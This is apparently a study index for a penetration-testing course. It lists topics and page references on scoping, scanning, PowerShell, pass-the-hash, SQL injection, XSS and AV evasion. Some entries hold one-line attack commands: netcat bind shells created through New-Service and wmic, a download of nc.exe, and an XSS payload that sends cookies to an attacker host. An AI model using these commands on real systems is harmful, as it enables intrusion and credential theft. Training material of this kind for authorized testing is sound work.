Pre-Engagement \\Date & Time of Day for Ops	1 / 74
Pre-Engagement \\Designated Internal POC	1 / 72
Pre-Engagement \\Encrypted Comms	1 / 72
Pre-Engagement \\Excluded from Rules of Engagement	1 / 71
Pre-Engagement \\International Laws	1 / 67
Pre-Engagement \\Limitation of Liability & Insurance	1 / 66
Pre-Engagement \\Loot Viewing on Compromised Host	1 / 78
Pre-Engagement \\Permission Memo	1 / 65
Pre-Engagement \\Planning Sign-off	1 / 79
Pre-Engagement \\Points of Contact	1 / 72
Pre-Engagement \\Rules of Engagement - Definition	1 / 70
Product Security Test	1 / 19
PS - Pingsweep: 1..10 % {\$_; Ping -n 1 -w 100 10.10.10.\$_ select-string ttl	4 / 107
PS (Create a Svc): New-Service Oname ncsvc -BinaryPathName "Cmd.exe /k c:\tools\nc.exe -l -p 3333 -e cmd.exe" - Startuptype manual	4 / 105
PS \\ 5 Essential PS Things to Remember	4 / 98
PS \\ If an Echo fails, all later echo's fail	4 / 97
PS \\ PS Port scanner example	4 / 97
PS \\ Built-in Variables System, Host etc...	4 / 92
PS \\ Cmdlet Aliases	4 / 78
PS \\ Cmdlet Common Verbs	4 / 77
PS \\ Cmdlets overview / running	4 / 77
PS \\ Command Flag Shortening	4 / 82
PS \\ Command Prompt	1 / 51
PS \\ Counting Loops	4 / 95
PS \\ download file - (new-object System.net.webclient).downloadfile("http://1.1.1.1/nc.exe"); gc c:\nc.exe	4 / 108

PS \\ Exploiting Registry w/ autocomplete	4 / 81
PS \\ Format-List cmdlet	4 / 87
PS \\ General	4 / 76
PS \\ Handling Output (Quotes / ranges / Count operations)	4 / 94
PS \\ Help with Commands	4 / 80
PS \\ History	4 / 83
PS \\ Misc exec switches to evade detection	3 / 118
PS \\ Most Useful Cmdlets	4 / 79
PS \\ Most Useful Cmdlets & Aliases	4 / 79
PS \\ Out-Host - Display Output [paginate] via	4 / 96
PS \\ Pipeline - ForEach-Object constructs	4 / 88
PS \\ Pipeline - Select-String (examples)	4 / 93
PS \\ Pipeline - Select-String (grep)	4 / 93
PS \\ Pipeline - Filter based on object properties	4 / 89
PS \\ Pipeline - Select-Object construct	4 / 90
PS \\ Pipeline - Sending Obj to other PS commands	4 / 86
PS \\ Pipeline - Where-Object Cmdlet Construct	4 / 89
PS \\ Pipeline ForEachObject % {stop-process \$_} Kills all NC processes	4 / 88
PS \\ Port Scan: [80..8080 % {S_ ; echo ((new-object Net.Sockets.TcpClient).connect(10.10.10.20" , \$_) "Port S_ is open" } 2>\$null]	4 / 107
PS \\ Search example filter output / hide Std Error / build custom lists	4 / 91
PS \\ Shell History Invocation	4 / 84
PS \\ Tab-Autocomplete	4 / 81
PS \\ Usage construct: verb-noun Pattern	4 / 76
PS \\ -Whatif option	4 / 85
PS \\ Wildcard Searching Cmdlets	4 / 77
psexec \\{tgt_ip} -u {usr} -p {pwd} {cmd} \\ General usage of PSEXEC	4 / 53
PTH \\ Advantages	5 / 68
PTH \\ General Concept	5 / 67
PTH \\ Hash Format: LM:NT (if null LM use AAD3D43)	5 / 70
PTH \\ MSF Psexec	5 / 70
PTH \\ WCE	5 / 69
Pulling Account Names Linux	2 / 157
Pulling Accounts / Windows	2 / 157
Pwdump // tool to steal hashes from win boxes	4 / 162
Pyrit (cracks WPA/WPA2 PSK with GPU using CoWPAtty)	5 / 12
Qualys // Remote Vulnscan Svc	2 / 154
Query DB Structure Syntax (by Vendor)	5 / 169
Querying Multiple Tables	5 / 168
Rainbow Tbl - Building Tables	5 / 51
Rainbow Tbl - Components	5 / 50
Rainbow Tbl - Hash Function	5 / 50
Rainbow Tbl - Obtaining Tables	5 / 55
Rainbow Tbl - Reduction Function	5 / 50
Rainbow Tbl - Requirements	5 / 48
Rainbow Tbl - Salted .vs Non-Salted	5 / 48
Rainbow Tbl - Storage Calculations	5 / 49

Rainbow Tbl - Storing Chains in Tables	5 / 52
Rainbow Tbl - Time Memory Trade Off	5 / 46
Rainbow Tbl - Why?	5 / 47
Rainbow Tbl .vs Cracking	5 / 45
Rainbow Tbl Step - Phase I is harder than Phase @	5 / 54
Rainbow Tbl Step 1 - Finding Correct Chain	5 / 53
Rainbow Tbl Step 2 - Reinflate Chain	5 / 54
Rapid 7 - Metasploit Pro // Commercial Exploit Framework	3 / 20
Rapid 7 NeXopse // Vuln Scanner	2 / 154
Recommendation Guidelines	1 / 109
recon-ng - Overview	1 / 170
recon-ng // Groups overview	1 / 171
recon-ng module groups	1 / 171
recon-ng overview	1 / 170
Recording Inventory	1 / 116
reg add {keyname} /v {value} /t {type} /d {data} \\ Add reg key to win local tgt	4 / 25
Regional Internet Registeries (RIR's)	1 / 146
Registry Interaction	4 / 25
Remote Cmds - Windows (General)	4 / 52
Remote Cmds - Windows (Metasploit - PSEXEC)	4 / 55
Remote Cmds - Windows (psexec)	4 / 53
Remote Cmds - Windows (Using a Service - sc)	4 / 59
Remote Cmds - Windows (WMIC Invoke Programs)	4 / 61
Remote Dial-up War Dialing Test	1 / 18
Report \\ Write (When)	1 / 99
Research: ExploitHub - Research	1 / 34
Research: Hackerstorm - Reseach	1 / 34
Research: Mitre CVE Repo - Research	1 / 34
Research: Secunia - Research	1 / 34
Research: US-CERT - Resource	1 / 34
Retina // Vuln Scanner	2 / 154
RIR - Query by IP, Company, Domain	1 / 146
Risk Definition	1 / 8
Risks of Exploitation	3 / 6
Role Definition	1 / 8
rtgen - Rainbow Tbl Generator	5 / 55
Rules of Engagement - Emergency Stop Actions - Testing	1 / 72
Rules of Engagement .vs Project Scope	1 / 69
Saint // Vuln Scanner	2 / 154
sc config tlntsvr start= demand \\ Start disabled svc using sc start option	3 / 167
sc query \\ enum all services on Win tgt host	4 / 28
sc query tlntsvr \\ determins if Telnet service is running	3 / 167
sc start {svc_name} \\ start a windows service on host	3 / 167
Scan speed // impacted by timeout .vs RST / Unreachables	2 / 36
Scan Types	2 / 5
Scan Types (6)	2 / 5
Scan Types / Purposes	2 / 5

Scanning Workflow	2 / 6
ScanRand - Hyperfast Port Scanner	2 / 13
Scapy \\ Constructing packets from separate variables	2 / 88
Scapy \\ Crafting Packet fields	2 / 90
Scapy \\ Crafting Packets	2 / 87
Scapy \\ Destination Address Specification options	2 / 91
Scapy \\ Functions	2 / 86
Scapy \\ Inspecting crafted packet details	2 / 89
Scapy \\ Invoke Wireshark	2 / 99
Scapy \\ Launching options	2 / 84
Scapy \\ Loops	2 / 98
Scapy \\ Overview	2 / 84
Scapy \\ Packet Crafting	2 / 87
Scapy \\ Packet Crafting // General	2 / 84
Scapy \\ Port Range Settings	2 / 92
Scapy \\ Read from Pcap	2 / 99
Scapy \\ Response Handling	2 / 95
Scapy \\ Send / Receive Multiple Packet Example	2 / 97
Scapy \\ Send / Receive Single Packet Example	2 / 96
Scapy \\ Send Fine-grain Options	2 / 94
Scapy \\ Send Packet Cmd Options	2 / 93
Scapy \\ Sniffing packet(s) based on filter results	2 / 99
Scapy \\ Start-up	2 / 84
Scapy \\ Supported Protocols	2 / 85
Scapy \\ TCP Cntl Bit Range Setting	2 / 92
Scapy \\ Write (filter) packets to a file	2 / 99
Scope - Testing Definition	1 / 70
Scope // In & Out of Scope	1 / 83
Scoping // 3rd Party Resources	1 / 84
Scoping // Cloud-based Considerations	1 / 85
Scoping // Dangerous Exploits	1 / 91
Scoping // DOS Verification Language	1 / 90
Scoping // Exploring Customer Primary Risk / Concerns	1 / 61
Scoping // How to Test	1 / 89
Scoping // Internal and Psudo Internal Tests	1 / 88
Scoping // Pentesting from Cloud	1 / 86
Scoping // Ping / Port / Vuln, Client-side/Social	1 / 89
Scoping // Production .vs Test Enviroment Targets	1 / 87
Scoping // Scope Creep	1 / 82
Screen Shot Guidelines	1 / 107
Search Diggity - Gui	1 / 168
Search Diggity - GUI Usage	1 / 168
Search Diggity Suite	1 / 167
Searching file System	4 / 20
Security Assessment	1 / 12
Security Audit	1 / 13
Server-Side Exploit // General	3 / 9

Services \\ Enumerate Service Names	4 / 30
services.msc \\ Win GUI for running services app	4 / 30
ServifyThis \\ wraps a service w/ api call to notify Win sever start successful	4 / 60
set username \\ displays in Win the logged on user	4 / 19
Set-up Svc on tgt host using cmd shell via NC \\ see details on page	4 / 68
Shadow Volume Copy via ntfs.dit	4 / 175
Shell .vs Terminal \\ *nix Opt 1 CLI work arounds	3 / 174
Shell .vs Terminal \\ *nix Opt 2 Enable SSHd	3 / 179
Shell .vs Terminal \\ *nix Opt 2 Enable Telnetd	3 / 178
Shell .vs Terminal \\ *nix Opt 2 Enabling Terminal Access	3 / 176
Shell .vs Terminal \\ *nix Opt 2 NC Portfwd Relax to bypass FW	3 / 182
Shell .vs Terminal \\ more and less differnces	3 / 159
Shell .vs Terminal \\ Problem Commands	3 / 150
Shell .vs Terminal \\ su - and sudo Cmd Issues	3 / 160
Shell .vs Terminal \\ Testing fo sh .vs Terminal access	3 / 157
Shell .vs Terminal \\ Windows Opt 1: Workarounds (Cmd Alternatives)	3 / 164
Shell .vs Terminal \\ Windows Opt 2 Enabling RDP Svc via CLI	3 / 169
Shell .vs Terminal \\ Windows Opt 2 Enabling SSHd on Win	3 / 171
Shell .vs Terminal \\ Windows Opt 2 Enabling Telnet Svc via CLI	3 / 168
Shell .vs Terminal \\ Windows Opt 2 Enabling VNC on Win	3 / 173
Shell .vs Terminal \\ Windows Opt 2: Terminal Access	3 / 166
Shell .vs Terminal \\ Windows Opt 2: Workarounds - Telnet	3 / 167
Shell .vs Terminal \\ Windows Opt 2: Workarounds (Reconfig)	3 / 166
Shell .vs Terminal \\ Work Arounnds - General	3 / 163
shg - Rainbow Tbl Generator (SMB Hash Generator)	5 / 55
Shread -n	1 / 46
shred --remove {file.ext} \\ Permanently deleted a file in NIX	5 / 22
Shrink-wrapped Software Test	1 / 19
SID Overview \\ Components that makeup a SID	2 / 160
SID2user \\ automated loop; pulls usr accts from host	2 / 162
SID2user \\ General	2 / 161
SID2user \\ Overview	2 / 161
SID2User \\ Takes win SID and queries host for usr name	2 / 161
SID2User \\ Windows to enum users accts on host	2 / 157
Simple webserv \\ webserv on host in dir launched {python -m SimpleHTTPServer 8000}	3 / 122
Skip Tracing Framework - Recon tool list	1 / 119
SMB \\ net use \\{tgt_ip} /del - Terminate Session	4 / 27
SMB Authenticated - User Enum: enum -U {tgtip} -u {uname} -p {pswd}	2 / 159
SMB Authenticated Grp Enum: enum -G {tgtip} -u {Uname} -P {pswd}	2 / 159
SMB Null Session \\ net use \\{tgt ip} "" /u:""	2 / 158
SMB Session (Establishing)	4 / 26
SMB Session (Terminating)	4 / 27
Social Engineering Test	1 / 18
SQLi - SQL Element Examples	5 / 167
SQLi \\ Cmd Injection	5 / 170
SQLi \\ Common String Termination Error Msgs	5 / 164
SQLi \\ Concept	5 / 162

SQLi \\ Detection Tool (Burp-Intruder)	5 / 164
SQLi \\ Detection Tool (ZAP)	5 / 164
SQLi \\ Discovering Vulnerabilities	5 / 164
SQLi \\ Overview	5 / 161
SQLi \\ Process Steps	5 / 163
SQLi \\ sp_makewebtask \\ Stored Proc Spawns Shell, send cmd to exec	9/ 999
SQLi \\ SQL Statement Examples	5 / 166
SQLi \\ Syntax Sources	5 / 165
SQLi \\ Union Statement (Multiple Tables)	5 / 168
SQLmap - SQLi tool to discover and exploit vulns	5 / 163
Stolen Equipment	1 / 19
Strings	1 / 124
Strings - Tool Overview	1 / 126
System Hardening	1 / 44
Systemals Strings - Locates Unicode & ASCII strings	1 / 126
Targeting Workflow	2 / 6
TCP .vs UDP Differences	2 / 29
TCP 3-way Handshake - General	2 / 32
TCP Control Bit Overview	2 / 31
TCP Control Bits - General	2 / 31
TCP Control Flags - General	2 / 31
TCP Header (src /dst len=16bit)	2 / 30
TCP Header Overview	2 / 30
TCP: RFC 793 - General	2 / 33
TCP: 3 Way Handshake // Initial Seq # (ISN)	2 / 32
TCP: Blocked (Filtered) Port Behavior	2 / 35
TCP: Closed Port Behavior	2 / 34
TCP: Control Flag - RFC 3168	2 / 31
TCP: Open Port Behavior	2 / 34
tcpdump \\ CLI packet sniffer / Linux & Windows port	2 / 15
tcpdump \\ Display results as Hex {-nnX tcp and dst 1.1.1.1 }	2 / 19
tcpdump \\ examples	2 / 19
tcpdump \\ expression syntax	2 / 18
tcpdump \\ Filter Capture (TCP example) -nn tcp and port 80 and host 1.1.1.1	2 / 19
tcpdump \\ Filter Capture Results {-nn host {ip} and host {ip}}	2 / 103
tcpdump \\ Filter Example (UDP Filter) -nn upd and src 1.1.1.1	2 / 19
tcpdump \\ Legacy tool captures first 68 bytes by default	2 / 17
tcpdump \\ Options	2 / 17
tcpdump \\ switches	2 / 17
Term	1 / 23
Test machine - Configuration	1 / 43
THC-Hydra \\ Bruteforce password guessing tool	4 / 133
Threat	1 / 8
Tip: Large Scan - General	2 / 9
Tip: Large Scan - Speed Up Scan (1)	2 / 12
Tip: Scan and Sniff at same Time	2 / 15
Tip: Large Scan Scope Limiting	2 / 10

Tip: Large Scope - Best Approach	2 / 11
TIP: Scan by IP, not Host Name	2 / 8
Tip: Speeding Up Scan - Hyper Fast Scanners	2 / 13
Traceroute - Linux // discover route packet takes	2 / 23
Traceroute - start @ UDP 33434 by default	2 / 24
traceroute - T (tcp syn default port 80)	2 / 24
Traceroute (NIX) Switches / Port \\ UDP default; starts @ 33434	2 / 24
Traceroute / Linux - General	2 / 24
traceroute ICMP Filter response // * (Exceeded in Transit)	2 / 23
Traceroute Overview	2 / 23
Tracert - Windows // General	2 / 26
Tracert (Win) Switches: ICMP; Max Hops=30; Max-wait=4000ms	2 / 26
Tracert // Windows	2 / 23
tracert -6 // Windows IPv6	2 / 23
Trouceroute -6 // Linux IPv6 version	2 / 23
Type - Ride-Along	1 / 23
type {file.ext} \\ Displays the file to std Out	4 / 18
type {file.ext} find /c /v "" \\ counts the lines not null in a file	5 / 32
type {file.ext} find /l "{string}" \\ search for string within file	4 / 18
type {file.ext} findstr {regex} \\ Find Regex strings in a file	4 / 18
Typing and searching files	4 / 18
UDP - General overview	2 / 38
UDP Header	2 / 37
uid=0 ; Root-level access	99 / 99
uname -a \\ displays host name info from *nix host	3 / 156
User2sid // Windows tool to enum users	2 / 157
User2sid - General Usage	2 / 161
user2sid // acquire tgt machine SID portion	2 / 162
User2sid // uses LookupAccountname API to convert usr name to a SID	2 / 161
User2sid \\{tgt ip} {machine_name}	2 / 162
User2SID Tool Overview	2 / 161
useradd \\ Created a user acct on NIX	5 / 19
userdel \\ Deleted a user acct on NIX	5 / 22
Using SMB in Hydra (SID Ranges)	2 / 144
Veil-Evasion \\ generate {Creates payload in veil; builds .rc file}	3 / 115
Veil-Evasion \\ .rc file {auto session conf file}	3 / 108
Veil-Evasion \\ Cleaning prior Config .rc / Payloads	3 / 113
Veil-Evasion \\ Coding Lang Spt'd	3 / 105
Veil-Evasion \\ Creating the Exploit Code (Generate)	3 / 115
Veil-Evasion \\ Exiting	3 / 117
Veil-Evasion \\ Exploit Encoder	3 / 105
Veil-Evasion \\ Focus	3 / 105
Veil-Evasion \\ General	3 / 105
Veil-Evasion \\ List Modules	3 / 111
Veil-Evasion \\ Loading .rc file in msfconsole	3 / 120
Veil-Evasion \\ MSFConsole .rc config file	3 / 119
Veil-Evasion \\ Naming Payload Files	3 / 116

Veil-Evasion \\ Payload Info cmd	3 / 112
Veil-Evasion \\ Payload Options (View / Set)	3 / 115
Veil-Evasion \\ Payload Selection	3 / 114
Veil-Evasion \\ Start-up - AV Evasion	3 / 110
Veil-Evasion \\ V-Day update	3 / 106
Veil-Framework Overview	3 / 104
Veil-Pillage // collects user creds; activates rdp; disables UAC	3 / 104
Veil-Powerup // Determines if local priv esc possible on tgt	3 / 104
via psexec, relay, MSFconsole	4 / 179
Virtualization	1 / 40
VirusTotal Overview	3 / 102
VM Networking	1 / 40
Vmware Guest Settings - Cntl + D	1 / 58
Volumn Shadow Copy Service (VSS) \\ used to grab ntdt.dit from domain	4 / 161
Vuln Scan Results	1 / 100
Vuln Scans // Discovery - General	2 / 111
Vuln Scans // nmap .vs Vuln Scanners	2 / 113
Vulnerability - Definition	1 / 8
w // displays what local logged in users are doing on nix box	2 / 157
w3af - Web App Attack Proxy	5 / 97
Web Application Test	1 / 18
web Bind Cmd Shell Form: test; ping -c 4 {atkr_ip}; echo hello	5 / 156
Web-based Tracerouting // General	2 / 27
Webscarab - Web App Attack Proxy	5 / 97
What is an Exploit	3 / 4
White Hat Hacker	1 / 10
whoami \\ displays permissions of logged on user on *.nix host	3 / 156
Whois - ARIN Lookup Options	1 / 147
Whois - CLI // Results	1 / 145
Whois - CLI // Syntax	1 / 144
Whois - General	1 / 142
Whois - gooktools.com	1 / 142
Whois - Internic.net	1 / 142
Whois - Web based // General Results	1 / 143
Whois - Whois.net	1 / 142
Why Exploitation	3 / 5
Wikto - .Net Web Vuln Scanner (port of Nikto)	5 / 83
Wikto - Vuln Scanner (.Net Nikto Port)	5 / 83
Win 2K // SMB Null Sessions enabled by default (Restrict Anon=0)	2 / 158
Windows null session: net use \\{tgt} "" /u:""	2 / 158
Windows .vs Linux	1 / 30
Windows CMD Elevated - Cntl-Shift-Enter	1 / 52
Windows CMD Prompt	1 / 51
Windows Credential Editor (WCE) - PTH Tool	5 / 69
Windows Null Session Regkeys Affecting Null Sessions	2 / 158
Windows Shell Elevated Privs	1 / 52
Windows: SMB Null session; User2SID; Sid2User	2 / 157

Windump - port of tcpdump	2 / 16
Windwos SID fields Overview	2 / 160
Winfingerprint // GUI and CLI tool for enum sessions,user, & groups	2 / 162
Winxp > // SMB Null Sessions disabled by default (AnonSAM=0)	2 / 158
Wipe Systems btwn Engagements	1 / 46
Wireless Security Test	1 / 18
Wireshark - Consistent String and Buffer Overflow Attacks	2 / 19
wmic process call create "c:\tools\nc.exe -d -l -p 4444 -e cmd.exe" \\remote nc shell w/o window open on remote host	4 / 73

XSS - <script>document.location="http://{attacker_ip}/{payload.ext}+document.cookie;</script>	5 / 129
XSS (Cross-Site-Scripting) - General	5 / 127
XSS (General)	5 / 127
XSS (More)	5 / 128
XSS \\ BeEF Exploit Framework	5 / 131
XSS \\ Two Types (Reflected and Stored)	5 / 132
XSS Detecting Stored .vs Reflected Vulns	5 / 135
Zed Attack Proxy (ZAP) \\ OWASP Nontransparent Proxy and Web Scanner	5 / 92
Zmap: IPv4 Single port scanner	2 / 13